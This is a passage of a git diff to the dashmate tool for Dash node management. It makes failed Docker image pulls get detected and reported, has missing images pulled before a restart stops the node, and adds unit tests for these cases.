pulledImages; + } + + /** + * @private + * @param {string} image + * @return {Promise} + */ + async #isImagePresent(image) { + try { + await this.#docker.getImage(image).inspect(); + + return true; + } catch (e) { + if (e.statusCode === 404) { + return false; + } + + throw new Error(`Failed to check image ${image}: ${e.message}`); + } + } + /** * Logs * diff --git a/packages/dashmate/src/docker/dockerPullFactory.js b/packages/dashmate/src/docker/dockerPullFactory.js index 5d58b3d24dc..e49347ab769 100644 --- a/packages/dashmate/src/docker/dockerPullFactory.js +++ b/packages/dashmate/src/docker/dockerPullFactory.js @@ -1,3 +1,5 @@ +import findPullStreamError from './findPullStreamError.js'; + /** * @param {Docker} docker * @return {dockerPull} @@ -6,9 +8,10 @@ export default function dockerPullFactory(docker) { /** * @typedef {dockerPull} * @param {string} image + * @param {function} [onProgress] - called with every pull stream message * @return {Promise<*>} */ - function dockerPull(image) { + function dockerPull(image, onProgress = undefined) { return new Promise((resolve, reject) => { docker.pull(image, (err, stream) => { if (err) { @@ -24,8 +27,18 @@ export default function dockerPullFactory(docker) { return; } + // followProgress collects stream messages without inspecting them, + // so a failed pull has to be recognized here + const streamError = findPullStreamError(output); + + if (streamError) { + reject(new Error(streamError)); + + return; + } + resolve(output); - }); + }, onProgress); }); }); } diff --git a/packages/dashmate/src/docker/findPullStreamError.js b/packages/dashmate/src/docker/findPullStreamError.js new file mode 100644 index 00000000000..3004d1d801d --- /dev/null +++ b/packages/dashmate/src/docker/findPullStreamError.js @@ -0,0 +1,19 @@ +/** + * Find a failure reported inside a Docker pull progress stream + * + * Docker answers a pull request with 200 and then reports registry and disk + * failures as a message in the progress stream, so a completed stream doesn't + * mean the image was pulled. + * + * @param {Object[]} output - messages collected from the pull stream + * @return {string|undefined} failure reason + */ +export default function findPullStreamError(output) { + const failure = output.find((message) => message?.error); + + if (!failure) { + return undefined; + } + + return failure.errorDetail?.message ?? failure.error; +} diff --git a/packages/dashmate/src/docker/getServiceListFactory.js b/packages/dashmate/src/docker/getServiceListFactory.js index eff5fac7574..15235f33e52 100644 --- a/packages/dashmate/src/docker/getServiceListFactory.js +++ b/packages/dashmate/src/docker/getServiceListFactory.js @@ -40,7 +40,9 @@ export default function getServiceListFactory(generateEnvs, getConfigProfiles) { // map to array of services and populate with data .map((composeFileServiceEntry) => { const [serviceName, - { image: serviceImage, labels, profiles: serviceProfiles }] = composeFileServiceEntry; + { + image: serviceImage, labels, profiles: serviceProfiles, build: serviceBuild, + }] = composeFileServiceEntry; const title = labels?.['org.dashmate.service.title']; @@ -48,6 +50,10 @@ export default function getServiceListFactory(generateEnvs, getConfigProfiles) { throw new Error(`Label for dashmate service ${serviceName} is not defined`); } + // A service with a build section is built from sources on this host, + // so its image exists only locally and can't be pulled from a registry + const isBuiltLocally = Boolean(serviceBuild); + // Use hardcoded version for dashmate helper // Or parse image env variable name and extract version from the env const serviceImageEnv = serviceImage.match(/([A-Z_]+)/); @@ -61,6 +67,7 @@ export default function getServiceListFactory(generateEnvs, getConfigProfiles) { name: serviceName, title, image, + isBuiltLocally, profiles: serviceProfiles ?? [], }); }); diff --git a/packages/dashmate/src/listr/tasks/restartNodeTaskFactory.js b/packages/dashmate/src/listr/tasks/restartNodeTaskFactory.js index 8751233e9da..3e45644e546 100644 --- a/packages/dashmate/src/listr/tasks/restartNodeTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/restartNodeTaskFactory.js @@ -5,9 +5,22 @@ import isServiceBuildRequired from '../../util/isServiceBuildRequired.js'; * @param {startNodeTask} startNodeTask * @param {stopNodeTask} stopNodeTask * @param {buildServicesTask} buildServicesTask + * @param {DockerCompose} dockerCompose + * @param {getConfigProfiles} getConfigProfiles * @return {restartNodeTask} */ -export default function restartNodeTaskFactory(startNodeTask, stopNodeTask, buildServicesTask) { +export default function restartNodeTaskFactory( + startNodeTask, + stopNodeTask, + buildServicesTask, + dockerCompose, + getConfigProfiles, +) { + function selectPlatformProfiles(config) { + return getConfigProfiles(config) + .filter((profile) => profile.startsWith('platform')); + } + /** * Restart node * @typedef {restartNodeTask} @@ -26,6 +39,23 @@ export default function restartNodeTaskFactory(startNodeTask, stopNodeTask, buil return buildServicesTask(config); }, }, + { + // Missing images must be fetched while the node is still running, + // otherwise a failed pull leaves it stopped + title: 'Pull missing images', + task: (ctx, task) => { + // Pull only what the following start is going to create + const profiles = ctx.platformOnly ? selectPlatformProfiles(config) : []; + + return dockerCompose.pullMissingImages(config, { + profiles, + onProgress: (message) => { + // eslint-disable-next-line no-param-reassign + task.output = message; + }, + }); + }, + }, { task: () => stopNodeTask(config), }, diff --git a/packages/dashmate/src/update/updateNodeFactory.js b/packages/dashmate/src/update/updateNodeFactory.js index 0f50d44acbc..cd43c6f75d2 100644 --- a/packages/dashmate/src/update/updateNodeFactory.js +++ b/packages/dashmate/src/update/updateNodeFactory.js @@ -1,4 +1,5 @@ import lodash from 'lodash'; +import findPullStreamError from '../docker/findPullStreamError.js'; /** * @param {getServiceList} getServiceList @@ -19,53 +20,71 @@ export default function updateNodeFactory(getServiceList, docker) { return Promise.all( lodash.uniqBy(services, 'image') - .map(async ({ name, image, title }) => new Promise((resolve) => { - docker.pull(image, (err, stream) => { - if (err) { - if (process.env.DEBUG) { - // eslint-disable-next-line no-console - console.error(`Failed to update ${name} service, image ${image}, error: ${err}`); + .map(async ({ + name, title, image, isBuiltLocally, + }) => { + // An image built from sources on this host has nothing to pull + if (isBuiltLocally) { + return { + name, title, image, updated: 'built locally', + }; + } + + return new Promise((resolve) => { + docker.pull(image, (err, stream) => { + if (err) { + resolve({ + name, title, image, updated: 'error', error: err.message, + }); + + return; } - resolve({ - name, title, image, updated: 'error', - }); - } else { - let updated = 'error'; + // followProgress owns the stream: it joins messages split across + // chunks, splits them the way Docker writes them and reports + // transport failures. A failed pull arrives as a regular message + docker.modem.followProgress(stream, (streamError, output) => { + const error = streamError?.message ?? findPullStreamError(output); - stream.on('data', (data) => { - // parse all stdout and gather Status message - const [status] = data - .toString() - .trim() - .split('\r\n') - .map((str) => JSON.parse(str)) - .filter((obj) => obj?.status?.startsWith('Status: ')); + if (error) { + resolve({ + name, title, image, updated: 'error', error, + }); - if (status) { - if (status.status.includes('Image is up to date for')) { - updated = 'up to date'; - } else if (status.status.includes('Downloaded newer image for')) { - updated = 'updated'; - } + return; } - }); - stream.on('error', () => { - if (process.env.DEBUG) { - // eslint-disable-next-line no-console - console.error(`Failed to update ${name} service, image ${image}, error: ${err}`); + + const status = output + .find((message) => message?.status?.startsWith('Status: ')) + ?.status; + + if (status?.includes('Image is up to date for')) { + resolve({ + name, title, image, updated: 'up to date', + }); + + return; + } + + if (status?.includes('Downloaded newer image for')) { + resolve({ + name, title, image, updated: 'updated', + }); + + return; } resolve({ - name, title, image, updated: 'error', + name, + title, + image, + updated: 'error', + error: 'Docker did not report the pull result', }); }); - stream.on('end', () => resolve({ - name, title, image, updated, - })); - } + }); }); - })), + }), ); } diff --git a/packages/dashmate/test/unit/commands/group/restart.spec.js b/packages/dashmate/test/unit/commands/group/restart.spec.js new file mode 100644 index 00000000000..c06c1ef483d --- /dev/null +++ b/packages/dashmate/test/unit/commands/group/restart.spec.js @@ -0,0 +1,66 @@ +import GroupRestartCommand from '../../../../src/commands/group/restart.js'; +import getConfigMock from '../../../../src/test/mock/getConfigMock.js'; + +describe('Group restart command', () => { + let configGroup; + let dockerCompose; + let stopNodeTask; + let startGroupNodesTask; + let command; + + beforeEach(function it() { + configGroup = [getConfigMock(this.sinon), getConfigMock(this.sinon)]; + configGroup.forEach((config, index) => { + config.get.withArgs('group').returns('local'); + config.getName.returns(`local_${index}`); + }); + + dockerCompose = { + pullMissingImages: this.sinon.stub().resolves([]), + }; + + stopNodeTask = this.sinon.stub().resolves(); + startGroupNodesTask = this.sinon.stub().resolves(); + + command = new GroupRestartCommand(); + }); + + /** + * @return {Promise} + */ + function run() { + return command.runWithDependencies( + {}, + { verbose: false, safe: false }, + dockerCompose, + stopNodeTask, + startGroupNodesTask, + configGroup, + ); + } + + it('should not stop any node when a required image can not be pulled', async () => { + dockerCompose.pullMissingImages + .withArgs(configGroup[1]) + .rejects(new Error('Failed to pull image dashpay/drive:4: no space left on device')); + + const error = await run().then(() => null, (e) => e); + + expect(error, 'restart must fail instead of stopping the group').to.not.equal(null); + + // The command hides the reason behind MuteOneLineError for the CLI output + expect(error.getError().message).to.include('no space left on device'); + + expect(stopNodeTask).to.have.not.been.called(); + expect(startGroupNodesTask).to.have.not.been.called(); + }); + + it('should make sure images of every node are present before stopping the first one', async () => { + await run(); + + expect(dockerCompose.pullMissingImages).to.have.been.calledTwice(); + expect(dockerCompose.pullMissingImages).to.have.been.calledBefore(stopNodeTask); + expect(stopNodeTask).to.have.been.calledTwice(); + expect(startGroupNodesTask).to.have.been.calledOnce(); + }); +}); diff --git a/packages/dashmate/test/unit/commands/update.spec.js b/packages/dashmate/test/unit/commands/update.spec.js index 788f1d67221..df80efaea29 100644 --- a/packages/dashmate/test/unit/commands/update.spec.js +++ b/packages/dashmate/test/unit/commands/update.spec.js @@ -1,3 +1,5 @@ +import { PassThrough } from 'node:stream'; +import Docker from 'dockerode'; import UpdateCommand from '../../../src/commands/update.js'; import HomeDir from '../../../src/config/HomeDir.js'; import RenewalRecordRepository from '../../../src/ssl/renewalRecord/RenewalRecordRepository.js'; @@ -12,13 +14,30 @@ describe('Update command', () => { let mockServicesList; let mockGetServicesList; let mockDocker; - let mockDockerStream; let mockDockerResponse; let dockerCompose; let homeDir; let stderr; let exitCode; + /** + * Docker answers a pull with a stream of newline separated JSON messages + * + * @param {Object[]|string[]} messages + * @return {PassThrough} + */ + function createPullStream(messages) { + const stream = new PassThrough(); + + messages.forEach((message) => { + stream.write(typeof message === 'string' ? message : `${JSON.stringify(message)}\r\n`); + }); + + stream.end(); + + return stream; + } + /** * @param {Object} verdict * @return {Object} @@ -89,11 +108,12 @@ describe('Update command', () => { mockServicesList = [{ name: 'fake', image: 'fake', title: 'FAKE' }]; mockGetServicesList = this.sinon.stub().callsFake(() => mockServicesList); - mockDockerStream = { - on: this.sinon.stub().callsFake((channel, cb) => (channel !== 'error' - ? cb(Buffer.from(`${JSON.stringify(mockDockerResponse)}\r\n`)) : null)), + mockDocker = { + // The real modem is used on purpose: it owns the pull stream parsing + modem: new Docker().modem, + pull: this.sinon.stub() + .callsFake((image, cb) => cb(false, createPullStream([mockDockerResponse]))), }; - mockDocker = { pull: this.sinon.stub().callsFake((image, cb) => cb(false, mockDockerStream)) }; dockerCompose = { isServiceRunning: this.sinon.stub().resolves(false) }; stderr = ''; @@ -121,9 +141,11 @@ describe('Update command', () => { { name: 'fake_docker_pull_error', image: 'fake_err_image', title: 'FAKE_ERROR' }]; mockDocker = { + modem: mockDocker.modem, pull: this.sinon.stub() - .callsFake((image, cb) => (image === mockServicesList[1].image ? cb(new Error(), null) - : cb(false, mockDockerStream))), + .callsFake((image, cb) => (image === mockServicesList[1].image + ? cb(new Error('pull access denied'), null) + : cb(false, createPullStream([mockDockerResponse])))), }; await runUpdate({ updateNode: updateNodeFactory(mockGetServicesList, mockDocker) }); @@ -263,10 +285,12 @@ describe('Update command', () => { expect(stderr).to.not.contain('Your node is currently stopped'); }); - // Individual images failing is not a rejection: updateNode resolves those - // as error rows, and that has always exited 0. - it('should not fail the command when individual pulls fail', async function it() { + // Individual images failing is not a rejection - updateNode resolves those + // as error rows - but the exit code is the only thing that tells a caller + // apart an update that fetched everything from one that fetched none of it. + it('should exit non-zero without rejecting when individual pulls fail', async function it() { mockDocker = { + modem: mockDocker.modem, pull: this.sinon.stub().callsFake((image, cb) => cb(new Error('registry down'), null)), }; this.sinon.stub(console, 'log'); @@ -274,7 +298,8 @@ describe('Update command', () => { await expect(runUpdate({ updateNode: updateNodeFactory(mockGetServicesList, mockDocker) })) .to.not.be.rejected(); - expect(process.exitCode).to.equal(0); + expect(process.exitCode).to.equal(1); + expect(stderr).to.contain('registry down'); }); // exitOnError is false so the throw does not stop the list, and the @@ -362,9 +387,10 @@ describe('Update command', () => { it('should not claim images were pulled when a pull failed', async function it() { mockServicesList = [{ name: 'a', image: 'a', title: 'A' }, { name: 'b', image: 'b', title: 'B' }]; mockDocker = { + modem: mockDocker.modem, pull: this.sinon.stub().callsFake((image, cb) => (image === 'b' ? cb(new Error('registry down'), null) - : cb(false, mockDockerStream))), + : cb(false, createPullStream([mockDockerResponse])))), }; this.sinon.stub(console, 'log'); @@ -508,6 +534,159 @@ describe('Update command', () => { }); }); + describe('failed image pulls', () => { + const rateLimitMessage = 'toomanyrequests: You have reached your pull rate limit'; + + // Docker answers a pull request with 200 and reports registry and disk + // failures as a message inside the progress stream, so a stream that + // completes does not mean the image arrived. + it('should exit non-zero and print the reason when the registry rate limits the pull', async function it() { + mockDockerResponse = { + errorDetail: { message: rateLimitMessage }, + error: rateLimitMessage, + }; + + this.sinon.stub(console, 'log'); + + await runUpdate(); + + expect(process.exitCode).to.equal(1); + expect(stderr).to.contain(rateLimitMessage); + }); + + // The previous parser split every chunk on CRLF and parsed each fragment, + // so an ordinary TCP boundary threw inside the stream handler. + it('should report the reason when Docker splits a message across chunks', async function it() { + const line = JSON.stringify({ + errorDetail: { message: rateLimitMessage }, + error: rateLimitMessage, + }); + + mockDocker.pull = this.sinon.stub().callsFake((image, cb) => cb( + false, + createPullStream([line.slice(0, 20), `${line.slice(20)}\n`]), + )); + + const [updateInfo] = await updateNodeFactory(mockGetServicesList, mockDocker)(config); + + expect(updateInfo.updated).to.equal('error'); + expect(updateInfo.error).to.equal(rateLimitMessage); + }); + + // Docker separates messages with a line feed and can deliver several of + // them in a single chunk. + it('should report the reason when Docker separates messages with a line feed', async function it() { + const chunk = [ + JSON.stringify({ status: 'Pulling from dashpay/drive' }), + JSON.stringify({ errorDetail: { message: rateLimitMessage }, error: rateLimitMessage }), + '', + ].join('\n'); + + mockDocker.pull = this.sinon.stub() + .callsFake((image, cb) => cb(false, createPullStream([chunk]))); + + const [updateInfo] = await updateNodeFactory(mockGetServicesList, mockDocker)(config); + + expect(updateInfo.updated).to.equal('error'); + expect(updateInfo.error).to.equal(rateLimitMessage); + }); + + // A pull can fail after the layers arrive - a full disk is the usual + // reason - and the last status line would otherwise report a success. + it('should exit non-zero when the pull fails after the image was downloaded', async function it() { + const diskFullMessage = 'write /var/lib/docker/tmp: no space left on device'; + + mockDocker.pull = this.sinon.stub().callsFake((image, cb) => cb( + false, + createPullStream([ + { status: 'Status: Downloaded newer image for fake' }, + { errorDetail: { message: diskFullMessage }, error: diskFullMessage }, + ]), + )); + + this.sinon.stub(console, 'log'); + + await runUpdate(); + + expect(process.exitCode).to.equal(1); + expect(stderr).to.contain(diskFullMessage); + }); + + it('should keep the JSON output parseable and carry the reason', async function it() { + mockDocker.pull = this.sinon.stub() + .callsFake((image, cb) => cb(new Error('no space left on device'), null)); + + const consoleLog = this.sinon.stub(console, 'log'); + + await runUpdate(); + + expect(consoleLog).to.have.been.calledOnce(); + + const output = JSON.parse(consoleLog.firstCall.firstArg); + + expect(output).to.have.lengthOf(1); + expect(output[0].updated).to.equal('error'); + expect(output[0].error).to.include('no space left on device'); + }); + + it('should print the reason to stderr and keep the table intact in plain output', async function it() { + const diskFullMessage = 'write /var/lib/docker/tmp: no space left on device'; + + mockServicesList = [ + { name: 'core', image: 'dashpay/dashd:23', title: 'Core' }, + { name: 'drive_abci', image: 'dashpay/drive:4', title: 'Drive ABCI' }, + ]; + + mockDocker.pull = this.sinon.stub().callsFake((image, cb) => (image === 'dashpay/drive:4' + ? cb(new Error(diskFullMessage), null) + : cb(false, createPullStream([mockDockerResponse])))); + + const consoleLog = this.sinon.stub(console, 'log'); + + await runUpdate({ flags: { format: 'plain' } }); + + // Plain output renders the task list through console.log as well, + // so the table is one of several calls + const stdout = consoleLog.args.flat().join('\n'); + + expect(stdout).to.include('Drive ABCI'); + expect(stdout).to.include('error'); + // The table has no column for it, so the reason is only reported on stderr + expect(stdout).to.not.include(diskFullMessage); + + expect(stderr).to.contain('Failed to update 1 of 2 images'); + expect(stderr).to.contain(`Drive ABCI (dashpay/drive:4): ${diskFullMessage}`); + expect(process.exitCode).to.equal(1); + }); + + it('should show images built from local sources as built locally', async function it() { + mockServicesList = [ + { name: 'fake', image: 'fake', title: 'FAKE' }, + { + name: 'drive_abci', image: 'drive:local', title: 'Drive ABCI', isBuiltLocally: true, + }, + ]; + + const consoleLog = this.sinon.stub(console, 'log'); + + await runUpdate(); + + expect(mockDocker.pull).to.have.been.calledOnceWith('fake'); + + const output = JSON.parse(consoleLog.firstCall.firstArg); + + expect(output).to.have.lengthOf(2); + expect(output[1]).to.deep.equal({ + name: 'drive_abci', + title: 'Drive ABCI', + image: 'drive:local', + updated: 'built locally', + }); + + expect(process.exitCode).to.equal(0); + }); + }); + // A prompt that leaks past the interactivity guard neither throws nor // settles - the event loop drains and the process exits 0 with nothing done. // The entry-time exit code is the only thing that turns that into a failure. diff --git a/packages/dashmate/test/unit/docker/DockerCompose.spec.js b/packages/dashmate/test/unit/docker/DockerCompose.spec.js new file mode 100644 index 00000000000..cbe9925d741 --- /dev/null +++ b/packages/dashmate/test/unit/docker/DockerCompose.spec.js @@ -0,0 +1,224 @@ +import DockerCompose from '../../../src/docker/DockerCompose.js'; +import getConfigMock from '../../../src/test/mock/getConfigMock.js'; + +describe('DockerCompose', () => { + describe('#pullMissingImages', () => { + let config; + let docker; + let getServiceList; + let dockerPull; + let dockerCompose; + let presentImages; + + /** + * @param {string} image + * @return {{inspect: function}} + */ + function getImage(image) { + return { + inspect: async () => { + if (presentImages.includes(image)) { + return { Id: image }; + } + + const error = new Error(`No such image: ${image}`); + error.statusCode = 404; + + throw error; + }, + }; + } + + beforeEach(function it() { + this.sinon.stub(DockerCompose.prototype, 'throwErrorIfNotInstalled').resolves(); + + config = getConfigMock(this.sinon); + + presentImages = []; + + docker = { getImage: this.sinon.stub().callsFake(getImage) }; + getServiceList = this.sinon.stub(); + + // A successful pull leaves the image on the host + dockerPull = this.sinon.stub().callsFake(async (image) => { + presentImages.push(image); + }); + + dockerCompose = new DockerCompose( + docker, + undefined, + undefined, + undefined, + getServiceList, + dockerPull, + ); + }); + + it('should not pull anything when all images are already on the host', async () => { + getServiceList.returns([ + { + name: 'core', image: 'dashpay/dashd:23', isBuiltLocally: false, profiles: ['core'], + }, + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + presentImages = ['dashpay/dashd:23', 'dashpay/drive:4']; + + const pulledImages = await dockerCompose.pullMissingImages(config); + + expect(pulledImages).to.deep.equal([]); + expect(dockerPull).to.have.not.been.called(); + }); + + it('should pull an image that is missing on the host', async () => { + getServiceList.returns([ + { + name: 'core', image: 'dashpay/dashd:23', isBuiltLocally: false, profiles: ['core'], + }, + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + presentImages = ['dashpay/dashd:23']; + + const pulledImages = await dockerCompose.pullMissingImages(config); + + expect(pulledImages).to.deep.equal(['dashpay/drive:4']); + expect(dockerPull).to.have.been.calledOnce(); + expect(dockerPull.firstCall.firstArg).to.equal('dashpay/drive:4'); + }); + + it('should report the reason when a missing image can not be pulled', async () => { + getServiceList.returns([ + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + dockerPull.rejects(new Error('write /var/lib/docker: no space left on device')); + + await expect(dockerCompose.pullMissingImages(config)) + .to.be.rejectedWith(/dashpay\/drive:4.*no space left on device/); + }); + + it('should fail when the image is still missing after Docker reported a successful pull', async () => { + getServiceList.returns([ + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + dockerPull.resolves([]); + + await expect(dockerCompose.pullMissingImages(config)) + .to.be.rejectedWith('Failed to pull image dashpay/drive:4: it is still not present on the host'); + }); + + it('should report which image could not be checked when Docker fails', async () => { + getServiceList.returns([ + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + docker.getImage.returns({ + inspect: async () => { + const error = new Error('server error'); + error.statusCode = 500; + + throw error; + }, + }); + + await expect(dockerCompose.pullMissingImages(config)) + .to.be.rejectedWith('Failed to check image dashpay/drive:4: server error'); + + expect(dockerPull).to.have.not.been.called(); + }); + + it('should stop at the first image that can not be pulled', async () => { + getServiceList.returns([ + { + name: 'core', image: 'dashpay/dashd:23', isBuiltLocally: false, profiles: ['core'], + }, + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + { + name: 'gateway', image: 'dashpay/envoy:1.39.0', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + dockerPull.withArgs('dashpay/drive:4') + .rejects(new Error('toomanyrequests: You have reached your pull rate limit')); + + await expect(dockerCompose.pullMissingImages(config)) + .to.be.rejectedWith(/dashpay\/drive:4.*toomanyrequests/); + + expect(dockerPull.args.map(([image]) => image)) + .to.deep.equal(['dashpay/dashd:23', 'dashpay/drive:4']); + }); + + it('should not try to pull images built from local sources', async () => { + getServiceList.returns([ + { + name: 'drive_abci', image: 'drive:local', isBuiltLocally: true, profiles: ['platform'], + }, + ]); + + const pulledImages = await dockerCompose.pullMissingImages(config); + + expect(pulledImages).to.deep.equal([]); + expect(dockerPull).to.have.not.been.called(); + }); + + it('should not pull images of services the requested profiles exclude', async () => { + getServiceList.returns([ + { + name: 'core', image: 'dashpay/dashd:23', isBuiltLocally: false, profiles: ['core'], + }, + { + name: 'insight', image: 'dashpay/insight-api:latest', isBuiltLocally: false, profiles: ['core'], + }, + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + // Compose always creates a service that declares no profiles + { + name: 'dashmate_helper', image: 'dashpay/dashmate-helper:4.1.0', isBuiltLocally: false, profiles: [], + }, + ]); + + const pulledImages = await dockerCompose.pullMissingImages(config, { profiles: ['platform'] }); + + expect(pulledImages).to.deep.equal(['dashpay/drive:4', 'dashpay/dashmate-helper:4.1.0']); + expect(docker.getImage).to.have.not.been.calledWith('dashpay/insight-api:latest'); + }); + + it('should report pull progress', async () => { + getServiceList.returns([ + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + dockerPull.callsFake(async (image, onProgress) => { + onProgress({ status: 'Downloading', progress: '[====> ] 12MB/45MB' }); + onProgress({ progressDetail: {} }); + + presentImages.push(image); + }); + + const messages = []; + + await dockerCompose.pullMissingImages(config, { + onProgress: (message) => messages.push(message), + }); + + expect(messages).to.deep.equal(['dashpay/drive:4: Downloading [====> ] 12MB/45MB']); + }); + }); +}); diff --git a/packages/dashmate/test/unit/docker/dockerPullFactory.spec.js b/packages/dashmate/test/unit/docker/dockerPullFactory.spec.js new file mode 100644 index 00000000000..627e5ed0a4d --- /dev/null +++ b/packages/dashmate/test/unit/docker/dockerPullFactory.spec.js @@ -0,0 +1,72 @@ +import { PassThrough } from 'node:stream'; +import Docker from 'dockerode'; +import dockerPullFactory from '../../../src/docker/dockerPullFactory.js'; + +describe('dockerPull', () => { + let stream; + let docker; + let dockerPull; + + beforeEach(() => { + stream = new PassThrough(); + + // The real modem is used on purpose: it owns the stream buffering and + // decides what counts as a failed pull + docker = { + modem: new Docker().modem, + pull: (image, callback) => callback(null, stream), + }; + + dockerPull = dockerPullFactory(docker); + }); + + it('should reject when Docker Hub rate limits the pull', async () => { + const message = 'toomanyrequests: You have reached your pull rate limit'; + + const promise = dockerPull('dashpay/drive:4'); + + stream.write(`${JSON.stringify({ errorDetail: { message }, error: message })}\n`); + stream.end(); + + await expect(promise).to.be.rejectedWith(message); + }); + + it('should reject when the host runs out of disk space during the pull', async () => { + const message = 'write /var/lib/docker/tmp: no space left on device'; + + const promise = dockerPull('dashpay/drive:4'); + + stream.write(`${JSON.stringify({ status: 'Downloading', id: 'a1b2c3' })}\n`); + stream.write(`${JSON.stringify({ errorDetail: { message }, error: message })}\n`); + stream.end(); + + await expect(promise).to.be.rejectedWith(message); + }); + + it('should reject when the daemon refuses the pull', async () => { + docker.pull = (image, callback) => callback(new Error('connect ENOENT /var/run/docker.sock')); + + await expect(dockerPull('dashpay/drive:4')) + .to.be.rejectedWith('connect ENOENT /var/run/docker.sock'); + }); + + it('should reject when the pull stream fails', async () => { + const promise = dockerPull('dashpay/drive:4'); + + stream.destroy(new Error('socket hang up')); + + await expect(promise).to.be.rejectedWith('socket hang up'); + }); + + it('should resolve when the pull succeeds', async () => { + const promise = dockerPull('dashpay/drive:4'); + + stream.write(`${JSON.stringify({ status: 'Status: Downloaded newer image for dashpay/drive:4' })}\n`); + stream.end(); + + const output = await promise; + + expect(output).to.have.lengthOf(1); + expect(output[0].status).to.equal('Status: Downloaded newer image for dashpay/drive:4'); + }); +}); diff --git a/packages/dashmate/test/unit/docker/getServiceListFactory.spec.js b/packages/dashmate/test/unit/docker/getServiceListFactory.spec.js new file mode 100644 index 00000000000..d1fc5c66d36 --- /dev/null +++ b/packages/dashmate/test/unit/docker/getServiceListFactory.spec.js @@ -0,0 +1,110 @@ +import getServiceListFactory from '../../../src/docker/getServiceListFactory.js'; +import getConfigMock from '../../../src/test/mock/getConfigMock.js'; +import { DASHMATE_HELPER_DOCKER_IMAGE } from '../../../src/constants.js'; + +describe('getServiceList', () => { + let config; + let getConfigProfiles; + + const images = { + CORE_DOCKER_IMAGE: 'dashpay/dashd:23', + PLATFORM_DRIVE_ABCI_DOCKER_IMAGE: 'dashpay/drive:4', + PLATFORM_DAPI_RS_DAPI_DOCKER_IMAGE: 'dashpay/rs-dapi:4', + }; + + /** + * @param {string[]} buildComposeFiles + * @param {Object} sinon + * @return {getServiceList} + */ + function createGetServiceList(buildComposeFiles, sinon) { + const generateEnvs = sinon.stub().returns({ + COMPOSE_FILE: ['docker-compose.yml', ...buildComposeFiles].join(':'), + ...images, + }); + + return getServiceListFactory(generateEnvs, getConfigProfiles); + } + + beforeEach(function it() { + config = getConfigMock(this.sinon); + + getConfigProfiles = this.sinon.stub().returns(['core', 'platform', 'platform-dapi-rs']); + }); + + it('should not mark any service as built locally by default', function it() { + const services = createGetServiceList([], this.sinon)(config); + + expect(services).to.have.length.greaterThan(0); + expect(services.every((service) => service.isBuiltLocally === false)).to.be.true(); + + const core = services.find((service) => service.name === 'core'); + + expect(core.image).to.equal('dashpay/dashd:23'); + }); + + it('should mark Drive as built locally when it is built from sources', function it() { + const services = createGetServiceList( + ['docker-compose.build.drive_abci.yml'], + this.sinon, + )(config); + + const driveAbci = services.find((service) => service.name === 'drive_abci'); + const core = services.find((service) => service.name === 'core'); + + // The build compose file replaces the registry image with a locally built one + expect(driveAbci.image).to.equal('drive:local'); + expect(driveAbci.isBuiltLocally).to.be.true(); + + expect(core.isBuiltLocally).to.be.false(); + }); + + it('should mark DAPI as built locally when it is built from sources', function it() { + const services = createGetServiceList( + ['docker-compose.build.rs-dapi.yml'], + this.sinon, + )(config); + + const rsDapi = services.find((service) => service.name === 'rs_dapi'); + + expect(rsDapi.image).to.equal('rs-dapi:local'); + expect(rsDapi.isBuiltLocally).to.be.true(); + }); + + it('should mark the helper as built locally while still reporting its released image', function it() { + const services = createGetServiceList( + ['docker-compose.build.dashmate_helper.yml'], + this.sinon, + )(config); + + const helper = services.find((service) => service.name === 'dashmate_helper'); + + expect(helper.isBuiltLocally).to.be.true(); + + // The helper is always reported with its released image, while compose runs + // the locally built `dashmate-helper:local`. Nothing pulls the reported + // image because the service is built, so the two never disagree in practice + expect(helper.image).to.equal(DASHMATE_HELPER_DOCKER_IMAGE); + }); + + it('should mark every service built from sources when all builds are enabled', function it() { + const services = createGetServiceList( + [ + 'docker-compose.build.dashmate_helper.yml', + 'docker-compose.build.drive_abci.yml', + 'docker-compose.build.rs-dapi.yml', + ], + this.sinon, + )(config); + + const builtServices = services + .filter((service) => service.isBuiltLocally) + .map((service) => service.name); + + expect(builtServices).to.have.members(['dashmate_helper', 'drive_abci', 'rs_dapi']); + + const core = services.find((service) => service.name === 'core'); + + expect(core.isBuiltLocally).to.be.false(); + }); +}); diff --git a/packages/dashmate/test/unit/listr/tasks/restartNodeTaskFactory.spec.js b/packages/dashmate/test/unit/listr/tasks/restartNodeTaskFactory.spec.js new file mode 100644 index 00000000000..6cc94e2d995 --- /dev/null +++ b/packages/dashmate/test/unit/listr/tasks/restartNodeTaskFactory.spec.js @@ -0,0 +1,84 @@ +import { Listr } from 'listr2'; +import restartNodeTaskFactory from '../../../../src/listr/tasks/restartNodeTaskFactory.js'; +import getConfigMock from '../../../../src/test/mock/getConfigMock.js'; + +describe('restartNodeTask', () => { + let config; + let dockerCompose; + let startNodeTask; + let stopNodeTask; + let buildServicesTask; + let getConfigProfiles; + let restartNodeTask; + + beforeEach(function it() { + config = getConfigMock(this.sinon); + config.get.withArgs('dashmate.helper.docker.build.enabled').returns(false); + config.get.withArgs('platform.drive.abci.docker.build.enabled').returns(false); + config.get.withArgs('platform.dapi.rsDapi.docker.build.enabled').returns(false); + + dockerCompose = { + pullMissingImages: this.sinon.stub().resolves([]), + }; + + getConfigProfiles = this.sinon.stub().returns(['core', 'platform', 'platform-dapi-rs']); + + startNodeTask = this.sinon.stub().returns(new Listr([{ task: () => {} }])); + stopNodeTask = this.sinon.stub().returns(new Listr([{ task: () => {} }])); + buildServicesTask = this.sinon.stub().returns(new Listr([{ task: () => {} }])); + + restartNodeTask = restartNodeTaskFactory( + startNodeTask, + stopNodeTask, + buildServicesTask, + dockerCompose, + getConfigProfiles, + ); + }); + + it('should not stop running services when a required image can not be pulled', async () => { + dockerCompose.pullMissingImages.rejects( + new Error('Failed to pull image 